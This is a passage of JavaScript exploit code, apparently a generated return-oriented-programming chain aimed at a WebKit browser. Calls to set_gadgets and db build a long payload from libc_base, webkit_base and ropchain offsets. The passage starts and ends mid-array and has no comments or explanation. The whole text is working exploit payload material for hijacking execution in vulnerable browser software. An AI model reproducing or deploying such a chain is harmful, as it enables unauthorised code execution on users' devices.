+libc_base+844101, +libc_base+713278, +ropchain+280248, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+280264, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+280352, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+280408, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+280480, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+280536, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+280640, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+280728, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+280744, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+280904, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+280936, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+280888, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+280920, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+281032, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+281016, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+281128, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967028, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+281216, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+281232, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+281392, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+281424, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+281376, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+281408, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+281528, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+281512, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+281584, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278, +ropchain+281736, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+281752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+281720, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+281848, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+281832, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+281944, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967040, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+282024, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+282080, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([176, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+282328, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+282344, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+282432, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+282488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+282560, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+282616, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+282720, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967036, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+282808, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+282824, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+282984, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+283016, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+282968, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+283000, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+283112, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+283096, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+283208, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967040, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([51, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+283408, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+283496, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+283512, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+283656, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+283672, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+283640, +webkit_base+4687784, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+283760, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+283776, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+283920, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+283888, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+283904, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+283992, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+284048, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+284144, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967028, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+284232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+284248, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+284408, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+284440, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+284392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+284424, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+284600, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+284552, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+284568, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+284680, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+284696, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+284784, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+284840, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+284968, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+285000, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+284984, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+285160, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+285192, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+285144, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+285176, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+285272, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+285288, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+285384, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+285368, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+285488, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+297248, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+285632, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+285648, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+285616, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+285776, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+285808, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+285792, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+285920, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+285912, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+285936, +ropchain+286400, +libc_base+388400, +libc_base+713278, +ropchain+286008, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+286168, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+286200, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+286152, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+286184, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+286280, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+286296, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+286392, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+286376, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+286456, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967028, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+286544, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+286560, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+286720, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+286752, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+286704, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+286736, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+286848, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+286832, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+286936, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+287008, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967028, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+287072, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+278152, +libc_base+713278, +ropchain+287184, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+287272, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+287288, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+287432, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+287448, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+287416, +webkit_base+4687784, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+287536, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+287552, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+287712, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+287744, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+287696, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+287728, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+287840, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+287824, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+287944, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+174016, +libc_base+863109, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+288088, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+288104, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+288072, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+288224, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+288208, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967032, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294967032, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+288352, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+288368, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+288528, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+288560, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+288512, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+288544, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+288640, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+288656, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+288752, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+288736, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([4294901760, 4294967295]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+288864, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+5236215, +libc_base+713278, +ropchain+289000, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+288968, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([32, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+289104, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+289088, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+289200, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+289288, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+289304, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+289464, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+289496, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+289448, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+289480, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+289576, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+289592, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+289752, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+289704, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+289720, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([32, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+289840, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+289856, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +libc_base+232261, +libc_base+713278, +ropchain+290024, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+290040, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+290008, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+290168, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+290200, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+290184, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+290312, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+290304, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+290328, +ropchain+290344, +libc_base+489696, +ropchain+295800, +libc_base+740138, +libc_base+713278 +]); +db([4294967024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+290440, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+290496, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+290560, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+290648, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+290664, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+290824, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+290856, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+290808, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+290840, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 